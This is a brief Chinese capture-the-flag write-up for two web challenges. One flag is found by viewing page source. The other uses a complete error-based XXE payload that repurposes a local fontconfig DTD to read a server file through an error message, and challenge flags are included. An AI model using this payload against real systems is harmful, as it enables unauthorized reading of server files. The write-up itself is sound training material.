前言

残缺的队伍配上不好打的比赛😥

web

web-1

直接看源码

1
view-source:http://139.224.232.213:30333/

1
flag{2cfde35c1735cb1abfa071e7c982659907ffd9cd}
1
2
奇葩的环境，一开始一直拒绝连接，开都开不起来，又是抢不到血的一场比赛😅

web-2

看网页源码易知是xxe漏洞

然后经过尝试，报错得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<person><username>admin</username><password>admin</password></person>


md环境还有问题，一开始显示的是测试flag，还以为藏flag，找半天，环境重开了才正常获取了

结语

线下AWD是没希望了，嘛就这样